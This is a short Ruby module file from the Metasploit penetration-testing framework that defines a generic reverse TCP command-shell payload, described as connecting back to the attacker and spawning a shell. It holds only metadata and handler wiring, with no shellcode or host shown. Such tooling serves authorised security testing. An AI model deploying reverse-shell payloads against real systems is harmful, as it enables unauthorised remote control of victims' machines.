metasploit-framework/modules/payloads/singles/generic/shell_reverse_tcp.rb

30 lines
673 B
Ruby
Raw Normal View History

require 'msf/core'
require 'msf/core/payload/generic'
require 'msf/core/handler/reverse_tcp'
module Msf
module Payloads
module Singles
module Generic
module ShellReverseTcp
include Msf::Payload::Single
include Msf::Payload::Generic
def initialize(info = {})
super(merge_info(info,
'Name' => 'Generic Command Shell, Reverse TCP Inline',
'Version' => '$Revision: 3425 $',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'skape',
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell
))
end
end
end end end end